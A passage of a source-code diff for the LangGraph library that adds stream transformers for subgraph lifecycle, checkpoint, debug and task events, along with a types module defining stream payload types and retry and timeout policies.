+        self._lc_by_ns[ns] = metadata.get("lc_agent_name")
+
+    def _record_pending_tool_calls(self, data: dict[str, Any]) -> None:
+        """Harvest a task's triggering tool_call_id keyed by its task id.
+
+        A tool-dispatch task seeds `task_id -> tool_call_id`; the spawned
+        subgraph's namespace segment `node:` shares that id, letting
+        a subagent recover the tool call that caused it across payloads. Two
+        input shapes are handled: the current Pregel push model schedules each
+        tool call as its own task whose `input` is a `tool_call_with_context`
+        dict, while a legacy / batched model passes a list of tool-call dicts.
+        """
+        task_id = data.get("id")
+        if not isinstance(task_id, str):
+            return
+        payload = data.get("input")
+        tool_call_id: str | None = None
+        # Current langgraph schedules each tool call as its own push task
+        # whose input is a `tool_call_with_context` dict.
+        if isinstance(payload, dict) and isinstance(payload.get("tool_call"), dict):
+            candidate = payload["tool_call"].get("id")
+            if isinstance(candidate, str):
+                tool_call_id = candidate
+        # Legacy / batched shape: input is a list of tool-call dicts.
+        elif isinstance(payload, list):
+            for tc in payload:
+                if isinstance(tc, dict) and isinstance(tc.get("id"), str):
+                    tool_call_id = tc["id"]  # first wins
+                    break
+        if tool_call_id is not None:
+            self._pending_tool_calls[task_id] = tool_call_id
+
+    def _handle_task_start(self, ns: tuple[str, ...], data: dict[str, Any]) -> None:
+        if not self._should_track(ns) or ns in self._seen:
+            return
+        self._seen.add(ns)
+        parsed_name, trigger_call_id = _parse_ns_segment(ns[-1])
+        metadata = data.get("metadata") or {}
+        child_lc = metadata.get("lc_agent_name")
+        # A subagent boundary is any nested run carrying an lc_agent_name (set
+        # by create_agent). Unnamed runs (lc_agent_name None) are excluded.
+        #
+        # A same-named nested agent — e.g. a subagent that invokes itself — is
+        # surfaced because it re-asserts its own lc_agent_name. The trade-off:
+        # a non-agent subgraph invoked inside a tool inherits the parent's
+        # lc_agent_name and will also surface (named after the parent). A caller
+        # that needs to exclude such a graph can null lc_agent_name in the
+        # config it invokes that graph with.
+        is_subagent = child_lc is not None
+        graph_name = child_lc if is_subagent else (parsed_name or None)
+        cause: LifecycleCause | None = None
+        if is_subagent and trigger_call_id is not None:
+            tool_call_id = self._pending_tool_calls.get(trigger_call_id)
+            if tool_call_id:
+                cause = {"type": "toolCall", "tool_call_id": str(tool_call_id)}
+        # Deliver `cause` via instance state, not the call signature, so
+        # `_on_started` stays backward-compatible with overrides predating it.
+        self._pending_cause = cause
+        self._on_started(ns, graph_name, trigger_call_id)
+        if trigger_call_id is not None:
+            self._open[ns] = trigger_call_id
+
+    def _pop_terminal_transitions(
+        self, ns: tuple[str, ...], data: dict[str, Any]
+    ) -> list[tuple[tuple[str, ...], SubgraphStatus, str | None]]:
+        """Return and remove tracked children closed by this task result."""
+        result_id = data.get("id")
+        if not result_id:
+            return []
+        transitions: list[tuple[tuple[str, ...], SubgraphStatus, str | None]] = []
+        for child_ns, parent_task_id in list(self._open.items()):
+            if child_ns[:-1] != ns or parent_task_id != result_id:
+                continue
+            status, error = _terminal_from_result(data)
+            transitions.append((child_ns, status, error))
+            del self._open[child_ns]
+        return transitions
+
+    def _handle_task_result(self, ns: tuple[str, ...], data: dict[str, Any]) -> None:
+        for child_ns, status, error in self._pop_terminal_transitions(ns, data):
+            self._on_terminal(child_ns, status, error)
+
+    def finalize(self) -> None:
+        """Emit `completed` for any tracked namespace still open at run end."""
+        for ns in list(self._open):
+            self._on_terminal(ns, "completed", None)
+        self._open.clear()
+
+    def fail(self, err: BaseException) -> None:
+        """Emit terminal status for any tracked namespace still open."""
+        status, error_str = _status_from_exception(err)
+        for ns in list(self._open):
+            self._on_terminal(ns, status, error_str)
+        self._open.clear()
+
+
+def _status_from_exception(err: BaseException) -> tuple[SubgraphStatus, str | None]:
+    """Map a run exception to a subgraph terminal status and error string."""
+    if isinstance(err, GraphDrained):
+        return "drained", None
+    if isinstance(err, GraphInterrupt):
+        return "interrupted", None
+    return "failed", str(err)
+
+
+def _terminal_from_result(
+    payload: dict[str, Any],
+) -> tuple[SubgraphStatus, str | None]:
+    """Map a `TaskResultPayload` to a `(status, error)` pair.
+
+    Order matters: a result with both `error` and `interrupts` prefers
+    the interrupt classification, since `GraphInterrupt` manifests as
+    a populated `interrupts` list, not as `error`.
+    """
+    if payload.get("interrupts"):
+        return "interrupted", None
+    error = payload.get("error")
+    if error:
+        return "failed", str(error)
+    return "completed", None
+
+
+class LifecycleTransformer(_TasksLifecycleBase):
+    """Surface subgraph lifecycle as `lifecycle` protocol events.
+
+    Pushes `LifecyclePayload` to a `StreamChannel` named `lifecycle`.
+    The channel is auto-forwarded by the mux so payloads land in the
+    main event log under `method = "lifecycle"` (native transformer —
+    no `custom:` prefix) — visible to remote SDK clients over the
+    wire and to in-process consumers via `run.lifecycle`.
+
+    Tracks subgraphs at every depth strictly below the transformer's
+    scope, so a graph → subgraph → subgraph chain produces lifecycle
+    events for both nested levels in a flat stream.
+
+    Native transformer — projection key `lifecycle` is exposed as
+    `run.lifecycle`.
+    """
+
+    _native = True
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._channel: StreamChannel[LifecyclePayload] = StreamChannel("lifecycle")
+
+    def init(self) -> dict[str, Any]:
+        return {"lifecycle": self._channel}
+
+    def _should_track(self, ns: tuple[str, ...]) -> bool:
+        depth = len(self.scope)
+        return len(ns) > depth and ns[:depth] == self.scope
+
+    def _on_started(
+        self,
+        ns: tuple[str, ...],
+        graph_name: str | None,
+        trigger_call_id: str | None,
+    ) -> None:
+        if trigger_call_id is None:
+            # Without a task id we can't correlate a parent-result
+            # event back to this namespace — skip the started payload
+            # and rely on finalize/fail to close.
+            return
+        payload: LifecyclePayload = {"event": "started", "namespace": list(ns)}
+        if graph_name:
+            payload["graph_name"] = graph_name
+        payload["trigger_call_id"] = trigger_call_id
+        cause = self._pending_cause
+        if cause is not None:
+            payload["cause"] = cause
+        self._channel.push(payload)
+
+    def _on_terminal(
+        self,
+        ns: tuple[str, ...],
+        status: SubgraphStatus,
+        error: str | None,
+    ) -> None:
+        payload: LifecyclePayload = {"event": status, "namespace": list(ns)}
+        if error is not None:
+            payload["error"] = error
+        self._channel.push(payload)
+
+
+class SubgraphTransformer(_TasksLifecycleBase):
+    """Discover subgraph invocations as in-process navigation handles.
+
+    Per discovered direct-child subgraph, builds a `SubgraphRunStream`
+    (or `AsyncSubgraphRunStream`) wrapping a child mini-mux scoped to
+    the subgraph's namespace. Consumers iterate `run.subgraphs` to
+    receive handles, then drill into `handle.values` / `handle.messages`
+    / `handle.subgraphs` (recursive grandchildren) / `handle.lifecycle`.
+
+    Each mini-mux owns its own scope and uses its own
+    `SubgraphTransformer` to discover its direct children, so
+    grandchildren live on the child handle — never on the root's
+    `subgraphs` log. Forwarding events into the matching child mini-mux
+    is what keeps the child's projections populated.
+
+    Native transformer — `subgraphs` is exposed as `run.subgraphs`.
+    """
+
+    _native = True
+    supports_sync = True
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._log: StreamChannel[SubgraphRunStream | AsyncSubgraphRunStream] = (
+            StreamChannel()
+        )
+        self._handles: dict[
+            tuple[str, ...], SubgraphRunStream | AsyncSubgraphRunStream
+        ] = {}
+        self._mux: StreamMux | None = None
+
+    def init(self) -> dict[str, Any]:
+        return {"subgraphs": self._log}
+
+    def _on_register(self, mux: Any) -> None:
+        self._mux = mux
+
+    def _should_track(self, ns: tuple[str, ...]) -> bool:
+        # Direct children only — grandchildren are picked up by the
+        # child mini-mux's own SubgraphTransformer.
+        depth = len(self.scope)
+        return len(ns) == depth + 1 and ns[:depth] == self.scope
+
+    def _on_started(
+        self,
+        ns: tuple[str, ...],
+        graph_name: str | None,
+        trigger_call_id: str | None,
+    ) -> None:
+        if self._mux is None:
+            return
+        try:
+            child_mux = self._mux._make_child(ns)
+        except RuntimeError:
+            return
+        handle_cls = AsyncSubgraphRunStream if child_mux.is_async else SubgraphRunStream
+        # The triggering `cause` (on `self._pending_cause`) is a wire/lifecycle
+        # concern carried on `LifecyclePayload`; the in-process subgraph
+        # navigation handle does not expose it.
+        handle = handle_cls(
+            mux=child_mux,
+            path=ns,
+            graph_name=graph_name,
+            trigger_call_id=trigger_call_id,
+        )
+        self._handles[ns] = handle
+        self._log.push(handle)
+
+    def _on_terminal(
+        self,
+        ns: tuple[str, ...],
+        status: SubgraphStatus,
+        error: str | None,
+    ) -> None:
+        handle = self._handles.get(ns)
+        if handle is None or not self._mark_terminal(handle, status, error):
+            return
+        self._close_or_fail_handle(handle, status, error)
+
+    async def _aon_terminal(
+        self,
+        ns: tuple[str, ...],
+        status: SubgraphStatus,
+        error: str | None,
+    ) -> None:
+        handle = self._handles.get(ns)
+        if handle is None or not self._mark_terminal(handle, status, error):
+            return
+        await self._aclose_or_fail_handle(handle, status, error)
+
+    def _mark_terminal(
+        self,
+        handle: SubgraphRunStream | AsyncSubgraphRunStream,
+        status: SubgraphStatus,
+        error: str | None,
+    ) -> bool:
+        """Mark a handle terminal once. Returns True on first transition."""
+        if handle._seen_terminal:
+            return False
+        handle.status = status
+        if error is not None and handle.error is None:
+            handle.error = error
+        handle._seen_terminal = True
+        return True
+
+    def _close_or_fail_handle(
+        self,
+        handle: SubgraphRunStream | AsyncSubgraphRunStream,
+        status: SubgraphStatus,
+        error: str | None,
+    ) -> None:
+        if handle._mux is None or handle._mux._events._closed:
+            return
+        if status == "failed":
+            handle._mux.fail(RuntimeError(error or "Subgraph failed"))
+        else:
+            handle._mux.close()
+
+    async def _aclose_or_fail_handle(
+        self,
+        handle: SubgraphRunStream | AsyncSubgraphRunStream,
+        status: SubgraphStatus,
+        error: str | None,
+    ) -> None:
+        if handle._mux is None or handle._mux._events._closed:
+            return
+        if status == "failed":
+            await handle._mux.afail(RuntimeError(error or "Subgraph failed"))
+        else:
+            await handle._mux.aclose()
+
+    def _handle_for_event(
+        self, event: ProtocolEvent
+    ) -> SubgraphRunStream | AsyncSubgraphRunStream | None:
+        ns = tuple(event["params"]["namespace"])
+        depth = len(self.scope)
+        if len(ns) < depth + 1:
+            return None
+        handle = self._handles.get(ns[: depth + 1])
+        if handle is None or handle._mux is None or handle._mux._events._closed:
+            return None
+        return handle
+
+    def process(self, event: ProtocolEvent) -> bool:
+        # Run tasks bookkeeping first so a `started` handle exists
+        # by the time we forward the event to the child mini-mux.
+        keep = super().process(event)
+        handle = self._handle_for_event(event)
+        if handle is not None:
+            handle._observe_event(event)
+            handle._mux.push(event)
+        return keep
+
+    async def aprocess(self, event: ProtocolEvent) -> bool:
+        # Async counterpart: repeats the tasks bookkeeping here so
+        # child mini-muxes receive events through their async lane.
+        if event["method"] == "tasks":
+            ns = tuple(event["params"]["namespace"])
+            data = event["params"]["data"]
+            if "result" in data:
+                for child_ns, status, error in self._pop_terminal_transitions(ns, data):
+                    await self._aon_terminal(child_ns, status, error)
+            else:
+                # Mirror the sync `process` bookkeeping so the async lane
+                # observes parent identity / tool calls before discriminating
+                # a subagent boundary.
+                self._record_identity(ns, data)
+                self._record_pending_tool_calls(data)
+                self._handle_task_start(ns, data)
+            keep = False
+        else:
+            keep = True
+        handle = self._handle_for_event(event)
+        if handle is not None:
+            handle._observe_event(event)
+            await handle._mux.apush(event)
+        return keep
+
+    def _complete_open_handles(self) -> BaseException | None:
+        first_error: BaseException | None = None
+        for ns in list(self._open):
+            try:
+                self._on_terminal(ns, "completed", None)
+            except BaseException as e:
+                if first_error is None:
+                    first_error = e
+        self._open.clear()
+        for handle in self._handles.values():
+            if self._mark_terminal(handle, "completed", None):
+                try:
+                    self._close_or_fail_handle(handle, "completed", None)
+                except BaseException as e:
+                    if first_error is None:
+                        first_error = e
+        return first_error
+
+    async def _acomplete_open_handles(self) -> BaseException | None:
+        first_error: BaseException | None = None
+        for ns in list(self._open):
+            try:
+                await self._aon_terminal(ns, "completed", None)
+            except BaseException as e:
+                if first_error is None:
+                    first_error = e
+        self._open.clear()
+        for handle in self._handles.values():
+            if self._mark_terminal(handle, "completed", None):
+                try:
+                    await self._aclose_or_fail_handle(handle, "completed", None)
+                except BaseException as e:
+                    if first_error is None:
+                        first_error = e
+        return first_error
+
+    def finalize(self) -> None:
+        first_error = self._complete_open_handles()
+        if first_error is not None:
+            raise first_error
+
+    async def afinalize(self) -> None:
+        first_error = await self._acomplete_open_handles()
+        if first_error is not None:
+            raise first_error
+
+    def fail(self, err: BaseException) -> None:
+        status, error_str = _status_from_exception(err)
+        self._open.clear()
+        for handle in self._handles.values():
+            self._mark_terminal(handle, status, error_str)
+            if handle._mux is not None and not handle._mux._events._closed:
+                try:
+                    handle._mux.fail(err)
+                except Exception:
+                    _logger.warning(
+                        "Error failing subgraph mini-mux at %s; "
+                        "subscribers may not see the terminal error.",
+                        handle.path,
+                        exc_info=True,
+                    )
+
+    async def afail(self, err: BaseException) -> None:
+        status, error_str = _status_from_exception(err)
+        self._open.clear()
+        for handle in self._handles.values():
+            self._mark_terminal(handle, status, error_str)
+            if handle._mux is not None and not handle._mux._events._closed:
+                try:
+                    await handle._mux.afail(err)
+                except Exception:
+                    _logger.warning(
+                        "Error failing subgraph mini-mux at %s; "
+                        "subscribers may not see the terminal error.",
+                        handle.path,
+                        exc_info=True,
+                    )
+
+
+class CheckpointsTransformer(StreamTransformer):
+    """Capture checkpoint events as a drainable stream.
+
+    Surfaces `stream_mode="checkpoints"` data on `run.checkpoints` as
+    a `StreamChannel[dict[str, Any]]`. Each item is in the same format
+    as returned by `get_state()`.
+
+    Checkpoint events are only emitted when a checkpointer is configured
+    on the graph. When no checkpointer is present, the projection exists
+    but receives no events.
+
+    Only events at the run's own scope are captured; checkpoint data from
+    deeper subgraphs is available on the respective subgraph handle's
+    `.checkpoints` projection.
+
+    Native transformer — `run.checkpoints` is a direct attribute.
+    """
+
+    _native = True
+    required_stream_modes = ("checkpoints",)
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._log: StreamChannel[dict[str, Any]] = StreamChannel()
+        self._scope_list: list[str] = list(scope)
+
+    def init(self) -> dict[str, Any]:
+        return {"checkpoints": self._log}
+
+    def process(self, event: ProtocolEvent) -> bool:
+        if event["method"] != "checkpoints":
+            return True
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return True
+        self._log.push(params["data"])
+        return True
+
+
+class DebugTransformer(StreamTransformer):
+    """Capture debug events as a drainable stream.
+
+    Surfaces `stream_mode="debug"` data on `run.debug` as a
+    `StreamChannel[dict[str, Any]]`. Each item is a debug event with
+    step-level detail (checkpoint snapshots, task payloads, and
+    task results wrapped with step number and timestamp).
+
+    Only events at the run's own scope are captured; debug data from
+    deeper subgraphs is available on the respective subgraph handle's
+    `.debug` projection.
+
+    Native transformer — `run.debug` is a direct attribute.
+    """
+
+    _native = True
+    required_stream_modes = ("debug",)
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._log: StreamChannel[dict[str, Any]] = StreamChannel()
+        self._scope_list: list[str] = list(scope)
+
+    def init(self) -> dict[str, Any]:
+        return {"debug": self._log}
+
+    def process(self, event: ProtocolEvent) -> bool:
+        if event["method"] != "debug":
+            return True
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return True
+        self._log.push(params["data"])
+        return True
+
+
+class TasksTransformer(StreamTransformer):
+    """Capture raw task events as a drainable stream.
+
+    Surfaces `stream_mode="tasks"` data on `run.tasks` as a
+    `StreamChannel[dict[str, Any]]`. Each item is a task payload
+    (start or result).
+
+    `LifecycleTransformer` and `SubgraphTransformer` also consume
+    `tasks` events for subgraph discovery and lifecycle tracking.
+    This transformer captures the raw payloads independently for
+    consumers who need task-level detail.
+
+    Only events at the run's own scope are captured; task data from
+    deeper subgraphs is available on the respective subgraph handle's
+    `.tasks` projection.
+
+    Native transformer — `run.tasks` is a direct attribute.
+    """
+
+    _native = True
+    required_stream_modes = ("tasks",)
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._log: StreamChannel[dict[str, Any]] = StreamChannel()
+        self._scope_list: list[str] = list(scope)
+
+    def init(self) -> dict[str, Any]:
+        return {"tasks": self._log}
+
+    def process(self, event: ProtocolEvent) -> bool:
+        if event["method"] != "tasks":
+            return True
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return True
+        self._log.push(params["data"])
+        return True
diff --git a/libs/langgraph/langgraph/types.py b/libs/langgraph/langgraph/types.py
new file mode 100644
index 0000000..ac9aa9b
--- /dev/null
+++ b/libs/langgraph/langgraph/types.py
@@ -0,0 +1,984 @@
+from __future__ import annotations
+
+import sys
+from collections import deque
+from collections.abc import Callable, Hashable, Sequence
+from dataclasses import asdict, dataclass
+from datetime import timedelta
+from typing import (
+    TYPE_CHECKING,
+    Any,
+    ClassVar,
+    Generic,
+    Literal,
+    NamedTuple,
+    TypeVar,
+    final,
+)
+from warnings import warn
+
+from langchain_core.messages import AnyMessage
+from langchain_core.runnables import Runnable, RunnableConfig
+from langgraph.checkpoint.base import BaseCheckpointSaver, CheckpointMetadata
+from typing_extensions import NotRequired, TypeAliasType, TypedDict, Unpack, deprecated
+from xxhash import xxh3_128_hexdigest
+
+from langgraph._internal._cache import default_cache_key
+from langgraph._internal._constants import INTERRUPT as _INTERRUPT_KEY
+from langgraph._internal._fields import get_cached_annotated_keys, get_update_as_tuples
+from langgraph._internal._retry import default_retry_on
+from langgraph._internal._typing import MISSING, DeprecatedKwargs
+from langgraph.warnings import LangGraphDeprecatedSinceV10, LangGraphDeprecatedSinceV11
+
+# Local TypeVars for generic stream TypedDicts.
+# We use separate TypeVars here (rather than importing from langgraph.typing)
+# because the typing module TypeVars have defaults that cause type checker issues
+# when used in standalone type aliases.
+StateT = TypeVar("StateT")
+OutputT = TypeVar("OutputT")
+
+if TYPE_CHECKING:
+    from langgraph.pregel.protocol import PregelProtocol
+
+
+try:
+    from langchain_core.messages.tool import ToolOutputMixin
+except ImportError:
+
+    class ToolOutputMixin:  # type: ignore[no-redef]
+        pass
+
+
+__all__ = (
+    "All",
+    "Checkpointer",
+    "StreamMode",
+    "StreamWriter",
+    "StreamPart",
+    "ValuesStreamPart",
+    "UpdatesStreamPart",
+    "MessagesStreamPart",
+    "CustomStreamPart",
+    "CheckpointStreamPart",
+    "TasksStreamPart",
+    "DebugStreamPart",
+    "TaskPayload",
+    "TaskResultPayload",
+    "CheckpointTask",
+    "CheckpointPayload",
+    "DebugPayload",
+    "RetryPolicy",
+    "TimeoutPolicy",
+    "CachePolicy",
+    "Interrupt",
+    "StateUpdate",
+    "PregelTask",
+    "PregelExecutableTask",
+    "StateSnapshot",
+    "Send",
+    "Command",
+    "Durability",
+    "interrupt",
+    "Overwrite",
+    "GraphOutput",
+    "ensure_valid_checkpointer",
+)
+
+Durability = Literal["sync", "async", "exit"]
+"""Durability mode for the graph execution.
+
+- `'sync'`: Changes are persisted synchronously before the next step starts.
+- `'async'`: Changes are persisted asynchronously while the next step executes.
+- `'exit'`: Changes are persisted only when the graph exits.
+"""
+
+All = Literal["*"]
+"""Special value to indicate that graph should interrupt on all nodes."""
+
+Checkpointer = None | bool | BaseCheckpointSaver
+"""Type of the checkpointer to use for a subgraph.
+
+- `True` enables persistent checkpointing for this subgraph.
+- `False` disables checkpointing, even if the parent graph has a checkpointer.
+- `None` inherits checkpointer from the parent graph.
+"""
+
+
+def ensure_valid_checkpointer(checkpointer: Checkpointer) -> Checkpointer:
+    if checkpointer not in (None, True, False) and not isinstance(
+        checkpointer, BaseCheckpointSaver
+    ):
+        raise TypeError(
+            "Invalid checkpointer provided. Expected an instance of "
+            "`BaseCheckpointSaver`, `True`, `False`, or `None`. "
+            f"Received {type(checkpointer).__name__!s}. "
+            "Pass a proper saver (e.g., InMemorySaver, AsyncPostgresSaver)."
+        )
+    return checkpointer
+
+
+StreamMode = Literal[
+    "values", "updates", "checkpoints", "tasks", "debug", "messages", "custom"
+]
+"""How the stream method should emit outputs.
+
+- `"values"`: Emit all values in the state after each step, including interrupts.
+    When used with functional API, values are emitted once at the end of the workflow.
+- `"updates"`: Emit only the node or task names and updates returned by the nodes or tasks after each step.
+    If multiple updates are made in the same step (e.g. multiple nodes are run) then those updates are emitted separately.
+- `"custom"`: Emit custom data using from inside nodes or tasks using `StreamWriter`.
+- `"messages"`: Emit LLM messages token-by-token together with metadata for any LLM invocations inside nodes or tasks.
+- `"checkpoints"`: Emit an event when a checkpoint is created, in the same format as returned by `get_state()`.
+- `"tasks"`: Emit events when tasks start and finish, including their results and errors.
+- `"debug"`: Emit `"checkpoints"` and `"tasks"` events for debugging purposes.
+"""
+
+StreamWriter = Callable[[Any], None]
+"""`Callable` that accepts a single argument and writes it to the output stream.
+Always injected into nodes if requested as a keyword argument, but it's a no-op
+when not using `stream_mode="custom"`."""
+
+
+class TaskPayload(TypedDict):
+    """Payload for a task start event."""
+
+    id: str
+    """Unique identifier for this task."""
+    name: str
+    """Name of the node being executed."""
+    input: Any
+    """Input data passed to the task."""
+    triggers: list[str]
+    """List of triggers that caused this task to be executed (e.g. channel writes)."""
+    metadata: NotRequired[dict[str, Any]]
+    """Framework-resolved metadata associated with the task.
+
+    Generic dict carrier following the messages-stream pattern. Populated by
+    `map_debug_tasks` from `task.config["metadata"]` when non-empty, so the
+    same keys `stream_mode="messages"` consumers see (e.g. `lc_agent_name`,
+    `langgraph_node`, `langgraph_step`) are available to stream transformers.
+
+    Consumers should ignore unrecognized keys.
+    """
+
+
+class TaskResultPayload(TypedDict):
+    """Payload for a task result event."""
+
+    id: str
+    """Unique identifier for this task."""
+    name: str
+    """Name of the node that was executed."""
+    error: str | None
+    """Error message if the task failed, otherwise `None`."""
+    interrupts: list[dict]
+    """List of interrupts that occurred during task execution."""
+    result: dict[str, Any]
+    """Mapping of channel names to the values written by this task."""
+
+
+class CheckpointTask(TypedDict):
+    """A task entry within a `CheckpointPayload`.
+
+    The keys present depend on the task's state:
+
+    - **Error:** `id`, `name`, `error`, `state`
+    - **Has result:** `id`, `name`, `result`, `interrupts`, `state`
+    - **Pending:** `id`, `name`, `interrupts`, `state`
+    """
+
+    id: str
+    """Unique identifier for this task."""
+    name: str
+    """Name of the node being executed."""
+    error: NotRequired[str]
+    """Error message, present only if the task failed."""
+    result: NotRequired[Any]
+    """Result of the task, present only if the task completed successfully."""
+    interrupts: NotRequired[list[dict]]
+    """List of interrupts, present when the task has been interrupted or completed."""
+    state: StateSnapshot | RunnableConfig | None
+    """Snapshot of the subgraph state, or a `RunnableConfig` pointing to it. `None` if not a subgraph."""
+
+
+class CheckpointPayload(TypedDict, Generic[StateT]):
+    """Payload for a checkpoint event."""
+
+    config: RunnableConfig | None
+    """Configuration for this checkpoint, including the `thread_id` and `checkpoint_id`."""
+    metadata: CheckpointMetadata
+    """Metadata associated with this checkpoint (e.g. step number, source, writes)."""
+    values: StateT
+    """Current state values at the time of this checkpoint."""
+    next: list[str]
+    """Names of the nodes scheduled to execute next."""
+    parent_config: RunnableConfig | None
+    """Configuration of the parent checkpoint, or `None` if this is the first checkpoint."""
+    tasks: list[CheckpointTask]
+    """List of tasks associated with this checkpoint."""
+
+
+class _DebugCheckpointPayload(TypedDict, Generic[StateT]):
+    step: int
+    """The step number in the graph execution."""
+    timestamp: str
+    """ISO 8601 timestamp of when this event occurred."""
+    type: Literal["checkpoint"]
+    """Event type discriminator, always `"checkpoint"`."""
+    payload: CheckpointPayload[StateT]
+    """The checkpoint payload."""
+
+
+class _DebugTaskPayload(TypedDict):
+    step: int
+    """The step number in the graph execution."""
+    timestamp: str
+    """ISO 8601 timestamp of when this event occurred."""
+    type: Literal["task"]
+    """Event type discriminator, always `"task"`."""
+    payload: TaskPayload
+    """The task start payload."""
+
+
+class _DebugTaskResultPayload(TypedDict):
+    step: int
+    """The step number in the graph execution."""
+    timestamp: str
+    """ISO 8601 timestamp of when this event occurred."""
+    type: Literal["task_result"]
+    """Event type discriminator, always `"task_result"`."""
+    payload: TaskResultPayload
+    """The task result payload."""
+
+
+DebugPayload = TypeAliasType(
+    "DebugPayload",
+    _DebugCheckpointPayload[StateT] | _DebugTaskPayload | _DebugTaskResultPayload,
+    type_params=(StateT,),
+)
+"""Wrapper payload for debug events. Discriminate on `type`."""
+
+
+class ValuesStreamPart(TypedDict, Generic[OutputT]):
+    """Stream part emitted for `stream_mode="values"`.
+
+    `data` contains the full state after each step, as returned by `read_channels()`.
+    """
+
+    type: Literal["values"]
+    ns: tuple[str, ...]
+    data: OutputT
+    interrupts: tuple[Interrupt, ...]
+
+
+class UpdatesStreamPart(TypedDict):
+    """Stream part emitted for `stream_mode="updates"`.
+
+    `data` maps node names to their outputs. May also contain
+    `__interrupt__` (tuple of `Interrupt` dicts) and `__metadata__` keys.
+    """
+
+    type: Literal["updates"]
+    ns: tuple[str, ...]
+    data: dict[str, Any]
+
+
+class MessagesStreamPart(TypedDict):
+    """Stream part emitted for `stream_mode="messages"`.
+
+    `data` is a 2-tuple of `(message, metadata)` where `message` is a
+    `BaseMessage` (e.g. `AIMessageChunk`) and `metadata` is a dict containing
+    keys like `langgraph_step`, `langgraph_node`, `langgraph_triggers`, etc.
+    """
+
+    type: Literal["messages"]
+    ns: tuple[str, ...]
+    data: tuple[AnyMessage, dict[str, Any]]
+
+
+class CustomStreamPart(TypedDict):
+    """Stream part emitted for `stream_mode="custom"`.
+
+    `data` is whatever value was passed to `StreamWriter` inside a node.
+    """
+
+    type: Literal["custom"]
+    ns: tuple[str, ...]
+    data: Any
+
+
+class CheckpointStreamPart(TypedDict, Generic[StateT]):
+    """Stream part emitted for `stream_mode="checkpoints"`."""
+
+    type: Literal["checkpoints"]
+    ns: tuple[str, ...]
+    data: CheckpointPayload[StateT]
+
+
+class TasksStreamPart(TypedDict):
+    """Stream part emitted for `stream_mode="tasks"`.
+
+    For task start events, `data` is a `TaskPayload` with `id`, `name`,
+    `input`, and `triggers` keys.
+
+    For task result events, `data` is a `TaskResultPayload` with `id`,
+    `name`, `error`, `interrupts`, and `result` keys.
+    """
+
+    type: Literal["tasks"]
+    ns: tuple[str, ...]
+    data: TaskPayload | TaskResultPayload
+
+
+class DebugStreamPart(TypedDict, Generic[StateT]):
+    """Stream part emitted for `stream_mode="debug"`."""
+
+    type: Literal["debug"]
+    ns: tuple[str, ...]
+    data: DebugPayload[StateT]
+
+
+StreamPart = TypeAliasType(
+    "StreamPart",
+    ValuesStreamPart[OutputT]
+    | UpdatesStreamPart
+    | MessagesStreamPart
+    | CustomStreamPart
+    | CheckpointStreamPart[StateT]
+    | TasksStreamPart
+    | DebugStreamPart[StateT],
+    type_params=(StateT, OutputT),
+)
+"""A discriminated union of all v2 stream part types.
+
+Use `part["type"]` to narrow the type:
+
+```python
+async for part in graph.astream(input, version="v2"):
+    if part["type"] == "values":
+        part["data"]  # OutputT — full state (pydantic/dataclass/dict)
+    elif part["type"] == "messages":
+        part["data"]  # tuple[BaseMessage, dict] — (message, metadata)
+    elif part["type"] == "custom":
+        part["data"]  # Any — user-defined
+```
+"""
+
+
+@dataclass(frozen=True)
+class GraphOutput(Generic[OutputT]):
+    """Typed container returned by `invoke()` / `ainvoke()` with `version="v2"`.
+
+    Attributes:
+        value: The final output of the graph (dict, Pydantic model, dataclass, etc.).
+        interrupts: Any interrupts that occurred during execution.
+    """
+
+    value: OutputT
+    interrupts: tuple[Interrupt, ...] = ()
+
+    def __getitem__(self, key: str) -> Any:
+        """Backward compat: `result['__interrupt__']` and dict-key access."""
+        warn(
+            "Accessing GraphOutput via `result[key]` is deprecated. "
+            "Use `result.value` to access the output value directly, "
+            "or `result.interrupts` for interrupts.",
+            LangGraphDeprecatedSinceV11,
+            stacklevel=2,
+        )
+        if key == _INTERRUPT_KEY:
+            return self.interrupts
+        if isinstance(self.value, dict):
+            return self.value[key]
+        try:
+            return getattr(self.value, key)
+        except AttributeError:
+            raise KeyError(key)
+
+    def __contains__(self, key: object) -> bool:
+        warn(
+            "Accessing GraphOutput via `key in result` is deprecated. "
+            "Use `result.value` to access the output value directly, "
+            "or `result.interrupts` for interrupts.",
+            LangGraphDeprecatedSinceV11,
+            stacklevel=2,
+        )
+        if key == _INTERRUPT_KEY:
+            return bool(self.interrupts)
+        if isinstance(self.value, dict):
+            return key in self.value
+        return isinstance(key, str) and hasattr(self.value, key)
+
+
+_DC_KWARGS = {"kw_only": True, "slots": True, "frozen": True}
+
+
+class RetryPolicy(NamedTuple):
+    """Configuration for retrying nodes.
+
+    !!! version-added "Added in version 0.2.24"
+    """
+
+    initial_interval: float = 0.5
+    """Amount of time that must elapse before the first retry occurs. In seconds."""
+    backoff_factor: float = 2.0
+    """Multiplier by which the interval increases after each retry."""
+    max_interval: float = 128.0
+    """Maximum amount of time that may elapse between retries. In seconds."""
+    max_attempts: int = 3
+    """Maximum number of attempts to make before giving up, including the first."""
+    jitter: bool = True
+    """Whether to add random jitter to the interval between retries."""
+    retry_on: (
+        type[Exception] | Sequence[type[Exception]] | Callable[[Exception], bool]
+    ) = default_retry_on
+    """List of exception classes that should trigger a retry, or a callable that returns `True` for exceptions that should trigger a retry."""
+
+
+def _coerce_timeout_seconds(
+    value: float | timedelta | None, *, field: str
+) -> float | None:
+    if value is None:
+        return None
+    seconds = value.total_seconds() if isinstance(value, timedelta) else float(value)
+    if seconds <= 0:
+        raise ValueError(f"{field} must be greater than 0")
+    return seconds
+
+
+@dataclass(**_DC_KWARGS)
+class TimeoutPolicy:
+    """Configuration for timing out node attempts.
+
+    !!! note "Cooperative cancellation"
+
+        Timeouts rely on asyncio cancellation. If your node uses synchronous
+        time.sleep() or other CPU-bound work that blocks the GIL, the timeout will not
+        be fired until after the event loop has been released.
+
+    !!! note "Inline callback dispatch"
+
+        Under `refresh_on="auto"`, an internal handler refreshes the timeout on any
